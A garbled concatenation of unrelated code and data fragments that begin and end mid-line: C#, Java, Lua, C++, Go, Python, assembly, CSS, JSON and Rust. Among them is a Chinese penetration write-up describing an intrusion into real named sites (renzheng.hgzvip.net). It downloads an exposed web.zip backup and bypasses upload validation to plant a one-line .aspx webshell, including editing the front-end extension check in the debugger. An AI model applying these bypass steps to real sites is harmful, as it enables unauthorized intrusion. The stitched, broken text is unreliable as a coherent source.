        result.GetValue(CommonOptions.EnvOption)
            .Should()
            .BeEquivalentTo(new Dictionary<string, string> { ["A"] = "2" });

        result.Errors.Should().BeEmpty();
    }

    [Fact]
    public void Duplicates_CasingDifference()
    {
        var command = new RootCommand();
        command.Options.Add(CommonOptions.EnvOption);

        var result = command.Parse(["-e", "A=1", "-e", "a=2"]);

        var expected = new Dictionary<string, string>();

        if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
        {
            expected.Add("A", "2");
        }
        else
        {
            expected.Add("A", "1");
            expected.Add("a", "2");
        }

        result.GetValue(CommonOptions.EnvOption)
            .Should()
            .BeEquivalentTo(expected);

        result.Errors.Should().BeEmpty();
    }

    [Fact]
    public void MultiplePerToken()
    {
        var command = new RootCommand();
        command.Options.Add(CommonOptions.EnvOption);

        var result = command.Parse(["-e", "A=1;B=2,C=3 D=4", "-e", "B==Y=", "-e", "C;=;"]);

        result.GetVal


 the client should treat the following text as bold, recolored,
     * obfuscated, etc.
     */
    private static final Pattern formattingCodePattern = Pattern.compile("(?i)" + '\u00a7' + "[0-9A-FK-OR]");

    /**
     * The name of this color/formatting
     */
    private final String name;

    /**
     * The formatting code that produces this format.
     */
    private final char formattingCode;
    private final boolean fancyStyling;

    /**
     * The control string (section sign + formatting code) that can be inserted into client-side text to display
     * subsequent text in this format.
     */
    private final String controlString;

    /**
     * The numerical index that represents this color
     */
    private final int colorIndex;

    private static String func_175745_c(String p_175745_0_) {
        return p_175745_0_.toLowerCase().replaceAll("[^a-z]", "");
    }

    private EnumChatFormatting(String formattingName, char formattingCodeIn, int colorIndex) {
        this(formattingName, formattingCodeIn, false, colorIndex);
    }

    private EnumChatFormatting(String formattingName, char formattingCodeIn, boolean fancyStylingIn) {
        this(formattingName, formattingCodeIn, fancyStylingIn, -1);
    }

    private EnumChatFormatting(String formattingName, char formattingCodeIn, boolean fancyStylingIn, int colorIndex) {
        this.name = formattingName;
        this.formattingCode = formattingCodeIn;
        this.fancyStyling = fancyStylingIn;
        this.colorIndex = colorIndex;
        this.controlString = "\u00a7" + formattingCodeIn;
    }

    /**
     * Returns the numerical color index that represents this formatting
     */
    public int getColorIndex() {
        return this.colorIndex;
    }

    /**
     * False if this is just changing the color or resetting; true otherwise.
     */
    public boolean isFancyStyling() {
        return this.fancyStyling;
    }

    /**
     * Checks if this is a color code.
     */
    public boolean isColor() {
        return !this.fancyStyling && this != RESET;
    }

    /**
     * Gets the friendly name of this value.
     */
    public String getFriendlyName() {
        return this.name().toLowerCase();
    }

    public String toString() {
        return this.controlString;
    }

    /**
     * Returns a copy of the given string, with formatting codes stripped away.
     */
    public static String getTextWithoutFormattingCodes(String text) {
        return text == null ? null : formattingCodePattern.matcher(text).replaceAll("");
    }

    /**
     * Gets a value by its friendly name; null if the given name does not map to a defined value.
     */
    public static EnumChatFormatting getValueByName(String friendlyName) {
        return friendlyName == null ? null : (EnumChatFormatting)nameMapping.get(func_175745_c(friendlyName));
    }

    public static EnumChatFormatting func_175744_a(int p_175744_0_) {
        if (p_175744_0_ < 0) {
            return RESET;
        }
        else {
            for (EnumChatFormatting enumchatformatting : values()) {
                if (enumchatformatting.getColorIndex() == p_175744_0_) {
                    return enumchatformatting;
                }
            }

            return null;
        }
    }

    public static Collection<String> getValidValues(boolean p_96296_0_, boolean p_96296_1_) {
        List<String> list = new ArrayList<>();

        for (EnumChatFormatting enumchatformatting : values()) {
            if ((!enumchatformatting.isColor() || p_96296_0_) && (!enumchatformatting.isFancyStyling() || p_96296_1_)) {
                list.add(enumchatformatting.getFriendlyName());
            }
        }

        return list;
    }

    static {
        for (EnumCh


;.mob Hazzali Swarmer"
        },
      },
    },
    ["Feralas"] = {
      ["Edana Hatetalon"] = {
        {
        MinLevel = 50,
        MaxLevel = 50,
        Classification = "Elite",
        Movement = "Idle",
        Notes = "Quest mob",
        Location = ".pin Feralas,40.6,8.6;.mob Edana Hatetalon"
        },
      },
      ["Sea Spray"] = {
        {
        MinLevel = 47,
        MaxLevel = 48,
        Classification = "Normal",
        Movement = "Idle",
        Notes = "Geyser hits very hard, knocks far back, and slows",
        Location = ".pin Feralas,34.4,33.4;.pin Feralas,35.6,35.8;.pin Feralas,37.0,35.8;.pin Feralas,38.2,33.6;.pin Feralas,40.2,37.6;.pin Feralas,42.0,39.2;.pin Feralas,44.6,38.8;.pin Feralas,44.8,46.2;.pin Feralas,44.6,49.8;.pin Feralas,45.8,52.2;.pin Feralas,47.6,50.8;.pin Feralas,48.6,48.2;.pin Feralas,49.8,51.8;.pin Feralas,46.8,54.8;.pin Feralas,47.0,59.6;.pin Feralas,46.6,63.6;.pin Feralas,45.8,66.2;.mob Sea Spray"
        },
      },
      ["Hatecrest Myrmidon"] = {
        {
        MinLevel = 43,
        MaxLevel = 44,
        Classification = "Normal",
        Movement = "Idle",
        Notes = "Nets, hit hard",
        Location = ".pin Feralas,27.4,62.8;;.mob Hatecrest Myrmidon"
        },
      },
      ["Zukk'ash Wasp"] = {
        {
        MinLevel = 44,
        MaxLevel = 45,
        Classification = "Normal",
        Movement = "Idle",
        Notes = "Fast attack",
        Location = ".pin Feralas,72.8,62.8;.pin Feralas,76.6,63.0;.pin Feralas,76.6,59.8;.pin Feralas,73.4,60.6;.mob Zukk'ash Wasp"
        },
      },
      ["Northspring Slayer"] = {
        {
        MinLevel = 49,
        MaxLevel = 50,
        Classification = "Normal",
        Movement = "Idle",
        Notes = "Execute mobs",
        Location = ".pin Feralas,39.8,10.2;.pin Feralas,41.6,12.0;.pin Feralas,39.6,14.6;.pin Feralas,38.2,15.6;.pin Feralas,37.4,12.4;.pin Feralas,39.0,13.2;.mob Northspring Slayer"
        },
      },
    },
    ["Swamp of Sorrows"] = {
      ["Lord Captain Wyrmak"] = {
        {
        MinLevel = 45,
        MaxLevel = 45,
        Classification = "Rare Elite",
        Movement = "Slow Patrol",
        Notes = "Basic elite",
        Location = ".line Swamp of Sorrows,76.06,66.76,77.74,65.82,78.66,64.00,80.08,59.92,79.68,57.92,80.38,57.26,81.00,56.60,82.45,52.64,79.69,51.18,78.41,50.87,78.45,48.80,78.88,47.38,79.94,46.04,79.20,44.32,76.


 0; i < 5; ++i){
            A[i][i] = 100.0*i;
        }
        positions.setData(A);

        array_type B(boost::extents[5][5]);
        for(index i = 0; i < 5; ++i){
            B[i][i] = 100.0*i;
        }
        extents.setData(B);

        tag = block.createMultiTag("tag_one", "test_tag", positions);
        tag_other = block.createMultiTag("tag_two", "test_tag", positions);
        tag_null = nix::none;

        section = file.createSection("foo_section", "metadata");
    }

    void tearDown(){
        file.deleteBlock(block.id());
        file.deleteSection(section.id());
        file.close();
    }
};

#endif //NIX_TESTMULTITAGHDF5_HPP
// Copyright (c) 2013, German Neuroinformatics Node (G-Node)
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted under the terms of the BSD License. See
// LICENSE file in the root of the Project.

#include <nix/util/util.hpp>

#include <nix/base/IDimensions.hpp>

#include <string>
#include <cstdlib>
#include <mutex>
#include <random>
#include <math.h>

#include <boost/date_time/posix_time/posix_time.hpp>
#include <boost/regex.hpp>
#include <boost/random.hpp>
#include <boost/uuid/uuid.hpp>
#include <boost/uuid/uuid_generators.hpp>
#include <boost/uuid/uuid_io.hpp>

using namespace std;

namespace nix {
namespace util {

// Base32hex alphabet (RFC 4648)
const char*  ID_ALPHABET = "0123456789abcdefghijklmnopqrstuv";
// Unit scaling, SI only, substitutions for micro and ohm...
const string  PREFIXES = "(Y|Z|E|P|T|G|M|k|h|da|d|c|m|u|n|p|f|a|z|y)";
const string  UNITS = "(m|g|s|A|K|mol|cd|Hz|N|Pa|J|W|C|V|F|S|Wb|T|H|lm|lx|Bq|Gy|Sv|kat|l|L|Ohm|%|dB|rad)";
const string  POWER = "(\\^[+-]?[1-9]\\d*)";

const map<string, double> PREFIX_FACTORS = {{"y", 1.0e-24}, {"z", 1.0e-21}, {"a", 1.0e-18}, {"f", 1.0e-15},
    {"p", 1.0e-12}, {"n",1.0e-9}, {"u", 1.0e-6}, {"m", 1.0e-3}, {"c", 1.0e-2}, {"d",1.0e-1}, {"da", 1.0e1}, {"h", 1.0e2},
    {"k", 1.0e3}, {"M",1.0e6}, {"G", 1.0e9}, {"T", 1.0e12}, {"P", 1.0e15}, {"E",1.0e18}, {"Z", 1.0e21}, {"Y", 1.0e24}};

string createId() {
    typedef boost::mt19937::result_type seed_type;
    static boost::mt19937 ran(static_cast<seed_type>(std::time(0)));
    static boost::uuids::basic_random_generator<boost::mt19937> gen(&ran);
    boost::uuids::uuid u = gen();
    return boost::uuids::to_string(u);
}

string timeToStr(time_t time) {
    using namespace boost::posix_time;
    ptime timetmp = from_time_t(time);
    return to_iso_string(timetmp);
}

time_t strToTime(const string &time) {
    using namespace boost::posix_time;
    ptime timetmp(from_iso_string(time));
    ptime epoch(boost::gregorian::date(1970, 1, 1));
    return (timetmp - epoch).total_seconds();
}


rg, (int)ksizeHalf);
        kernel.set(idxArg, (void *)NULL, smem_size);
        return kernel.run(2, globalsize, localsize, false);
    }
    bool polynomialExpansionOcl(const UMat &src, UMat &dst)
    {
#ifdef SMALL_LOCALSIZE
        size_t localsize[2] = { 128, 1};
#else
        size_t localsize[2] = { 256, 1};
#endif
        size_t globalsize[2] = { DIVUP((size_t)src.cols, localsize[0] - 2*polyN_) * localsize[0], (size_t)src.rows};

#if 0
        const cv::ocl::Device &device = cv::ocl::Device::getDefault();
        bool useDouble = (0 != device.doubleFPConfig());

        cv::String build_options = cv::format("-D polyN=%d -D USE_DOUBLE=%d", polyN_, useDouble ? 1 : 0);
#else
        cv::String build_options = cv::format("-D polyN=%d", polyN_);
#endif
        ocl::Kernel kernel;
        if (!kernel.create("polynomialExpansion", cv::ocl::video::optical_flow_farneback_oclsrc, build_options))
            return false;

        int smem_size = (int)(3 * localsize[0] * sizeof(float));
        int idxArg = 0;
        idxArg = kernel.set(idxArg, ocl::KernelArg::PtrReadOnly(src));
        idxArg = kernel.set(idxArg, (int)(src.step / src.elemSize()));
        idxArg = kernel.set(idxArg, ocl::KernelArg::PtrWriteOnly(dst));
        idxArg = kernel.set(idxArg, (int)(dst.step / dst.elemSize()));
        idxArg = kernel.set(idxArg, src.rows);
        idxArg = kernel.set(idxArg, src.cols);
        idxArg = kernel.set(idxArg, ocl::KernelArg::PtrReadOnly(m_g));
        idxArg = kernel.set(idxArg, ocl::KernelArg::PtrReadOnly(m_xg));
        idxArg = kernel.set(idxArg, ocl::KernelArg::PtrReadOnly(m_xxg));
        idxArg = kernel.set(idxArg, (void *)NULL, smem_size);
        kernel.set(idxArg, (void *)m_ig, 4 * sizeof(float));
        return kernel.run(2, globalsize, localsize, false);
    }
    bool boxFilter5Ocl(const UMat &src, int ksizeHalf, UMat &dst)
    {
        int height = src.rows / 5;
#ifdef SMALL_LOCALSIZE
        size_t localsize[2] = { 128, 1};
#else
        size_t localsize[2] = { 256, 1};
#endif
        size_t globalsize[2] = { (size_t)src.cols, (size_t)height};

        ocl::Kernel kernel;
        if (!kernel.create("boxFilter5", cv::ocl::video::optical_flow_farneback_oclsrc, ""))
            return false;

        int smem_size = (int)((localsize[0] + 2*ksizeHalf) * 5 * sizeof(float));

        int idxArg = 0;
        idxArg = kernel.set(idxArg, ocl::KernelArg::PtrReadOnly(src));
        idxArg = kernel.set(idxArg, (int)(src.step / src.elemSize()));
        idxArg = kernel.set(idxArg, ocl::KernelArg::PtrWriteOnly(dst));
        idxArg = kernel.set(idxArg, (int)(dst.step / dst.elemSize()));
        idxArg = kernel.set(idxArg, height);
        idxArg = kernel.set(idxArg, src.cols);
        idxArg = kernel.set(idxArg, (int)ksizeHalf);
        kernel.set(idxArg, (void *)NULL, smem_size);
        return


dAt: asPointer("testPinnedAt"),
						Type:     checker.DependencyUseTypeGHAction,
					},
				},
			},
			wantError: false,
		},
	}

	for _, test := range tests {
		t.Run(test.name, func(t *testing.T) {
			t.Parallel()

			r := &jsonScorecardRawResult{}
			err := r.addDependencyPinningRawResults(test.input)
			if (err != nil) != test.wantError {
				t.Errorf("addDependencyPinningRawResults() error = %v, wantError %v", err, test.wantError)
			}
		})
	}
}

func TestJsonScorecardRawResult_AddDangerousWorkflowRawResults(t *testing.T) {
	t.Parallel()

	tests := []struct { //nolint:govet
		name      string
		input     *checker.DangerousWorkflowData
		wantError bool
	}{
		{
			name: "test_with_valid_data",
			input: &checker.DangerousWorkflowData{
				Workflows: []checker.DangerousWorkflow{
					{
						File: checker.File{
							Path:      "testPath",
							Offset:    0,
							EndOffset: 5,
							Snippet:   "testSnippet",
						},
						Type: checker.DangerousWorkflowScriptInjection,
						Job: &checker.WorkflowJob{
							Name: asPointer("testJob"),
							ID:   asPointer("testID"),
						},
					},
				},
			},
			wantError: false,
		},
	}

	for _, test := range tests {
		t.Run(test.name, func(t *testing.T) {
			t.Parallel()

			r := &jsonScorecardRawResult{}
			err := r.addDangerousWorkflowRawResults(test.input)
			if (err != nil) != test.wantError {
				t.Errorf("addDangerousWorkflowRawResults() error = %v, wantError %v", err, test.wantError)
			}
		})
	}
}

func TestJsonScorecardRawResult_AddContributorsRawResults(t *testing.T) {
	t.Parallel()

	tests := []struct { //nolint:govet
		name      string
		input     *checker.ContributorsData
		wantError bool
	}{
		{
			name: "test_with_valid_data",
			input: &checker.ContributorsData{
				Users: []clients.User{
					{
						Login:            "testLogin",
						NumContributions: 5,
						Organizations: []clients.User{
							{Login: "testOrg"},
						},
						Companies: []string{"testCompany"},
					},
				},
			},
			wantError: false,
		},
	}

	for _, test := range tests {
		t.Run(test.name, func(t *testing.T) {
			t.Parallel()

			r := &jsonScorecardRawResult{}
			err := r.addContributorsRawResults(test.input)
			if (err != nil) != test.wantError {
				t.Errorf("addContributorsRawResults() error = %v, wantError %v", err, test.wantError)
			}
		})
	}
}

func TestJsonScorecardRawResult_AddSignedReleasesRawResults(t *testing.T) {
	t.Parallel()

	tests := []struct { //nolint:govet
		name      string
		input     *checker.SignedReleasesData
		wantError bool
	}{
		{
			name: "test_with_valid_data",
			input: &checker.SignedReleasesData{
				Releases: []clients.Release{
					{
						TagName: "v1.0",
						URL:     "https://example.com/v1.0",
						Assets: []clients.ReleaseAsset{
							{
								Name: "asset1",
								URL:  "https://example.com/v1.0/asset1",
							},
						},
					},
				},
			},
			wantError: false,
		},
	}


do":pseudo})
    prod = bdd.select('commande',conditions={'buyerId':id[0][0]})
    return len(prod)

def prod_donnees():
    pseudo = session['connexion']['pseudo']
    id = bdd.select("user",['id'], conditions={"pseudo":pseudo})
    first = bdd.select('commande',tables_jointes={'produit': "commande.idProduit = produit.id",'produituser': 'produituser.idProduit=produit.id'},conditions={'idUser':id[0][0]})
    second = bdd.select('commande',tables_jointes={'produit': "commande.idProduit = produit.id",'produitmicroferme': "produitmicroferme.idProduit = produit.id","Microferme":"Microferme.id=produitmicroferme.idMicroFerme"},
    conditions = {'ownerId':id[0][0]})
    third = bdd.select('commande',tables_jointes={'produit': "commande.idProduit = produit.id","produitjardinspartages":"produitjardinspartages.idProduit=produit.id","jardinpartage":"jardinpartage.id=produitjardinspartages.idJardin"},
    conditions = {'ownerId': id[0][0]})
    return len(first)+len(second)+len(third)


0				*/

	.align		16
12:	sub		%o0, 1, %o0			/* IEU0		Group		*/
	add		%sp, STACK_SIZE+32, %sp		/* IEU1				*/
	ret


ncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIgc3RvcC1vcGFjaXR5PSIwLjI1Ii8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmZmZmZmYiIHN0b3Atb3BhY2l0eT0iMC4yNSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);background:-moz-linear-gradient(top,rgba(255,255,255,0.25) 0,rgba(255,255,255,0.25) 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,rgba(255,255,255,0.25)),color-stop(100%,rgba(255,255,255,0.25)));background:-webkit-linear-gradient(top,rgba(255,255,255,0.25) 0,rgba(255,255,255,0.25) 100%);background:-o-linear-gradient(top,rgba(255,255,255,0.25) 0,rgba(255,255,255,0.25) 100%);background:-ms-linear-gradient(top,rgba(255,255,255,0.25) 0,rgba(255,255,255,0.25) 100%);background:linear-gradient(to bottom,rgba(255,255,255,0.25) 0,rgba(255,255,255,0.25) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#40ffffff',endColorstr='#40ffffff',GradientType=0);width:122px;position:absolute;top:22px;right:0;height:69px}.list-view0.grid .box{background:white}.list-view0.grid .directory{background:#ddd}.list-view0.grid figure.back-directory .directory{background:#bbb}.list-view0.grid figcaption{background:#fff}.list-view1.grid li,.list-view2.grid li{margin:0}.list-view1.grid li.back figure.back-directory,.list-view2.grid li.back figure.back-directory{height:34px}.list-view1.grid li:nth-child(odd) figure,.list-view2.grid li:nth-child(odd) figure{background:#f9f9f9}.list-view1.grid li:nth-child(odd) figure.directory,.list-view2.grid li:nth-child(odd) figure.directory{background:#eaeaea}.list-view1.grid li figure,.list-view2.grid li figure{border-bottom:1px solid #ccc;background:white}.list-view1.grid li figure.back-directory,.list-view2.grid li figure.back-directory{background:#bbb}.list-view1.grid li figure.back-directory .box,.list-view2.grid li figure.back-directory .box{background:0}.list-view1.grid li figure.directory,.list-view2.grid li figure.directory{background:#efefef}.list-view1.grid li figure.directory box,.list-view2.grid li figure.directory box{padding:0;min-height:10px}.list-view1.grid li figure .box,.list-view2.grid li figure .box{margin-left:50px;-webkit-transition:none;-moz-transition:none;transition:none}.


域名商PDR LTD. D/B/A PUBLICDOMA，曾经比中国万网还牛的国外知名域名商；想必客服质量特别高2333。

半年前，我们渗透的是www.huigezi.org，那么今天我们同样要渗透这个站点

两个域名从注册人来看，明显是同一家公司。我们在查看同IP站点的时候两个网站并不在同一台服务器。这个时候，我们也不知道是不是同一个服务器，我们先进行前期信息收集。在使用人肉及密码库对比的时候，顺手进行简单的目录。

在同服务器中找到http://renzheng.hgzvip.net/Login.aspx这个域名

aspx的程序，有点意思。更有意思的是这个网站下有一个备份

http://renzheng.hgzvip.net/web.zip

下载进行代码审计，由于还不是深夜，我们必须当成一场线上对抗赛，时不待我。

前阶段渗透

直接找可利用的地方上传，一般处理程序上传 ，会有个校验读取流长度来判断是否合法。关于上传绕过可以参考：《绕过限制上传文件总结》

<img class="alignnone size-full wp-image-87441 j-lazy" src="http://www.mottoin.com/wp-content/themes/JustNews/themer/assets/images/lazy.png" data-original="http://www.mottoin.com/wp-content/uploads/2016/08/灰鸽子1.png" alt="灰鸽子1" width="928" height="728" data-srcset="http://www.mottoin.com/wp-content/uploads/2016/08/灰鸽子1.png 928w, http://www.mottoin.com/wp-content/uploads/2016/08/灰鸽子1-300x235.png 300w, http://www.mottoin.com/wp-content/uploads/2016/08/灰鸽子1-768x602.png 768w" sizes="(max-width: 928px) 100vw, 928px" />

这是校验的代码 ，绕过其实很简单。找一个正常的图片附件一句话数据改为aspx后缀即可上传。

前端有个校验：

断点 ，改ext=”.jpg” 过了这个正则就好

接着上传，查看源文件

<img class="alignnone size-full wp-image-87442 j-lazy" src="http://www.mottoin.com/wp-content


failure. Could not MTZs zones");
	}

	for (auto& zoneMapKeyVal : zoneMap)
	{
		zoneIdLookup[zoneMapKeyVal.second->getZoneCode()] = zoneMapKeyVal.first;
	}
}

void sim_mob::medium::PredayManager::loadZoneNodes()
{
	DB_Connection simmobConn = getDB_Connection(ConfigManager::GetInstance().FullConfig().networkDatabase);
	simmobConn.connect();
	if (simmobConn.isConnected())
	{
		ZoneNodeSqlDao zoneNodeDao(simmobConn);
		zoneNodeDao.getZoneNodeMap(zoneNodeMap);
		Print() << "Zones-Node mapping loaded\n";
	}
	else
	{
		throw std::runtime_error("simmob db connection failure!");
	}
}

void sim_mob::medium::PredayManager::loadPostcodeNodeMapping()
{
	DB_Connection simmobConn = getDB_Connection(ConfigManager::GetInstance().FullConfig().networkDatabase);
	simmobConn.connect();
	if (simmobConn.isConnected())
	{
        SimmobSqlDao simmobSqlDao(simmobConn, "", std::vector<std::string>());
		simmobSqlDao.getPostcodeNodeMap();
	}
	else
	{
		throw std::runtime_error("simmob db connection failure!");
	}
}

void sim_mob::medium::PredayManager::loadCosts()
{
	ZoneMap::size_type nZones = zoneMap.size();
	if (nZones > 0)
	{
		// if the zone data was loaded already we can reserve space for costs to speed up the loading
		// Cost data will be available for every pair (a,b) of zones where a!=b
		CostMap::size_type mapSz = (nZones * nZones) - nZones;

		amCostMap.rehash(ceil(mapSz / amCostMap.max_load_factor()));
		pmCostMap.rehash(ceil(mapSz / pmCostMap.max_load_factor()));
		opCostMap.rehash(ceil(mapSz / opCostMap.max_load_factor()));
	}

	DB_Connection simmobConn = getDB_Connection(ConfigManager::GetInstance().FullConfig().networkDatabase);
	simmobConn.connect();
	if (simmobConn.isConnected())
	{
		const std::string DEMAND_SCHEMA = ConfigManager::GetInstanceRW().FullConfig().schemas.demand_schema ;

		std::string TABLE_NAME = ConfigManager::GetInstanceRW().FullConfig().dbTableNamesMap["AM_cost_table"];
		const std::string DB_TABLE_AM_COSTS = APPLY_SCHEMA(DEMAND_SCHEMA, TABLE_NAME);
		const std::string DB_GET_ALL_AM_COSTS = "SELECT * FROM " + DB_TABLE_AM_COSTS;
		CostSqlDao amCostDao(simmobConn, DB_GET_ALL_AM_COSTS);
		amCostDao.getAll(amCostMap);
		Print() << "AM costs loaded\n";

		TABLE_NAME = ConfigManager::GetInstanceRW().FullConfig().dbTableNamesMap["PM_cost_table"];
		const std::string DB_TABLE_PM_COSTS = APPLY_SCHEMA(DEMAND_SCHEMA, TABLE_NAME);
		const std::string DB_GET_ALL_PM_COSTS = "SELECT * FROM " + DB_TABLE_PM_COSTS;
		CostSqlDao pmCostDao(simmobConn, DB_GET_ALL_PM_COSTS);
		pmCostDao.getAll(pmCostMap);
		Print() << "PM costs loaded\n";

		TABLE_NAME = ConfigManager::GetInstanceRW().FullConfig().dbTableNamesMap["OP_cost_table"];
		const std::string DB_TABLE_OP_COSTS = APPLY_SCHEMA(DEMAND_SCHEMA, TABLE_NAME);
		const std::string DB_GET_ALL_OP_CO


★★★★" },
            { "Armor_141_Lower", "Snow Boots" },
            { "Armor_156_Lower", "Snow Boots ★" },
            { "Armor_157_Lower", "Snow Boots ★★" },
            { "Armor_158_Lower", "Snow Boots ★★★" },
            { "Armor_159_Lower", "Snow Boots ★★★★" },
            { "Armor_160_Head", "Dark Hood" },
            { "Armor_160_Upper", "Dark Tunic" },
            { "Armor_160_Lower", "Dark Trousers" },
            { "Armor_171_Head", "Phantom Helmet" },
            { "Armor_171_Upper", "Phantom Armor" },
            { "Armor_171_Lower", "Phantom Greaves" },
            { "Armor_172_Head", "Majora\'s Mask" },
            { "Armor_173_Head", "Midna\'s Helmet" },
            { "Armor_174_Head", "Tingle\'s Hood" },
            { "Armor_174_Upper", "Tingle\'s Shirt" },
            { "Armor_174_Lower", "Tingle\'s Tights" },
            { "Armor_175_Upper", "Island Lobster Shirt" },
            { "Armor_176_Head", "Korok Mask" },
            { "Armor_177_Head", "Ravio\'s Hood" },
            { "Armor_178_Head", "Zant\'s Helmet" },
            { "Armor_179_Head", "Royal Guard Cap" },
            { "Armor_1146_Head", "Royal Guard Cap ★" },
            { "Armor_1147_Head", "Royal Guard Cap ★★" },
            { "Armor_1148_Head", "Royal Guard Cap ★★★" },
            { "Armor_1149_Head", "Royal Guard Cap ★★★★" },
            { "Armor_179_Upper", "Royal Guard Uniform" },
            { "Armor_1146_Upper", "Royal Guard Uniform ★" },
            { "Armor_1147_Upper", "Royal Guard Uniform ★★" },
            { "Armor_1148_Upper", "Royal Guard Uniform ★★★" },
            { "Armor_1149_Upper", "Royal Guard Uniform ★★★★" },
            { "Armor_179_Lower", "Royal Guard Boots" },
            { "Armor_1146_Lower", "Royal Guard Boots ★" },
            { "Armor_1147_Lower", "Royal Guard Boots ★★" },
            { "Armor_1148_Lower", "Royal Guard Boots ★★★" },
            { "Armor_1149_Lower", "Royal Guard Boots ★★★★" },
            { "Armor_180_Head", "Evil Spirit Mask" },
            { "Armor_180_Upper", "Evil Spirit Armor" },
            { "Armor_180_Lower", "Evil Spirit Greaves" },
            { "Armor_181_Head", "Vah Ruta Divine Helm" },
            { "Armor_186_Head", "Vah Ruta Divine Helm ★" },
            { "Armor_187_Head", "Vah Ruta Divine Helm ★★" },
            { "Armor_188_Head", "Vah Ruta Divine Helm ★★★" },
            { "Armor_189_Head", "Vah Ruta Divine Helm ★★★★" },
            { "Armor_182_Head", "Vah Medoh Divine Helm" },
            { "Armor_190_Head", "Vah Medoh Divine Helm ★" },
            { "Armor_191_Head", "Vah Medoh Divine Helm ★★" },
            { "A


count}} parametr","parameters_1":"{{count}} parametry","parameters_2":"{{count}} parametrów","steps":"{{count}} podetap","steps_plural":"{{count}} podetapy"}},"status":{"empty":"Puste szczegóły statusu","trace":"Pokaż ślady"},"tags":{"name":"Tagi"}},"widget":{"categories":{"name":"Kategorie"},"categoriesTrend":{"name":"Trend kategorii"},"durationTrend":{"name":"Trend czasu trwania"},"environment":{"empty":"Brak zmiennych środowiskowych","name":"Środowisko","showAll":"Pokaż wszystkie"},"executors":{"empty":"Brak informacji o wykonawcach testów","name":"Wykonawcy","unknown":"Nieznany"},"launches":{"empty":"Brak informacji o uruchomieniach","name":"Uruchomienia"},"retryTrend":{"name":"Trend powtórzeń"},"suites":{"name":"Zestawy"},"summary":{"aggregatedName":"Raport zbiorczy","launches_0":"uruchomienie","launches_1":"uruchomienia","launches_3":"uruchomień","testResults_0":"przypadek testowy","testResults_1":"przypadki testowe","testResults_3":"przypadków testowych"},"trend":{"name":"Trend"}}}')},1105:function(t){"use strict";t.exports=JSON.parse('{"chart":{"duration":{"empty":"Нет данных","name":"Длительность тестов"},"severity":{"name":"Важность тестов"},"status":{"name":"Статусы тестов"},"trend":{"empty":"Нет данных"}},"component":{"markToggle":{"hideCases":"Скрыть {{mark}} результаты","showCases":"Показать {{mark}} результаты"},"statusToggle":{"hideCases":"Скрыть результаты со статусом \\"{{status}}\\"","showCases":"Показать результаты со статусом \\"{{status}}\\""},"tree":{"empty":"Нет данных","filter":"Статусы","filter-marks":"Метки","filtered":{"shown_0":"{{count}} показан","shown_1":"{{count}} показано","shown_2":"{{count}} показано","total_0":"всего {{count}} тест","total_1":"всего {{count}} теста","total_2":"всего {{count}} тестов"},"groups":"Показывать информацию о группах","time":{"max":{"name":"Самый долгий","tooltip":"Длительность самого долгого теста в группе"},"sum":{"name":"Суммарно","tooltip":"Сумма длительностей всех тестов в группе"},"total":{"name":"Итого","tooltip":"Время с начала первого теста до конца последнего"}},"unknown":"<Пусто>"},"widgetStatus":{"showAll":"Показать все","total_0":"Всего {{count}} элемент","total_1":"Всего {{count}} элемента","total_2":"Всего {{count}} элементов"}},"controls":{"backto":"Вернуться на","clipboard":"Скопировать в буфер обмена","clipboardError":"Ошибка. Скорее всего ваш браузер не поддерживает данную функциональность","clipboardSuccess":"Значение успешно скопировано","collapse":"Свернуть","expand":"Развернуть","fullscreen":"На весь экран","language":"Сменить язык"},"errors":{"missedAttachment":"Вложение не


pub fn rotated(shape: &AbstractShape, origin: &[f64], axis: &[f64], angle: f64) -> AbstractShape {
    intopt!(Point3, origin, Vector3, axis);
    derive_all_shape!(shape, builder::rotated, (origin, axis, Rad(angle)))
}

/// Returns a scaled vertex, edge, wire, face, shell or solid.
#[wasm_bindgen]
pub fn scaled(shape: &AbstractShape, origin: &[f64], scalars: &[f64]) -> AbstractShape {
    intopt!(Point3, origin);
    if scalars.len() == 1 {
        let s = Vector3::new(scalars[0], scalars[0], scalars[0]);
        derive_all_shape!(shape, builder::scaled, (origin, s))
    } else if scalars.len() == 3 {
        let s = Vector3::new(scalars[0], scalars[1], scalars[2]);
        derive_all_shape!(shape, builder::scaled, (origin, s))
    } else {
        panic!("The length of scalars is not 1 or 3.");
    }
}

macro_rules! derive_all_sweepable{
    ($shape: expr, $function: expr, ($($arg: expr),*)) => {
        transform_if_chain!(
            $shape,
            $function,
            ($($arg),*),
            panic!("sweep is only implemented to Vertex, Edge, Wire and Face."),
            as_vertex,
            as_edge,
            as_wire,
            as_face
        )
    };
}

/// Sweeps a vertex, an edge, a wire, a face, or a shell by a vector.
#[wasm_bindgen]
pub fn tsweep(shape: &AbstractShape, vector: &[f64]) -> AbstractShape {
    intopt!(Vector3, vector);
    derive_all_sweepable!(shape, builder::tsweep, (vector))
}

/// Sweeps a vertex, an edge, a wire, a face, or a shell by the rotation.
#[wasm_bindgen]
pub fn rsweep(shape: &AbstractShape, origin: &[f64], axis: &[f64], angle: f64) -> AbstractShape {
    intopt!(Point3, origin, Vector3, axis);
    derive_all_sweepable!(shape, builder::rsweep, (origin, axis, Rad(angle)))
}
<reponame>julien-c/rust-bert<gh_stars>0
// Copyright 2019-present, the HuggingFace Inc. team, The Google AI Language Team and Facebook, Inc.
// Copyright 2019 <NAME>
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//     http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
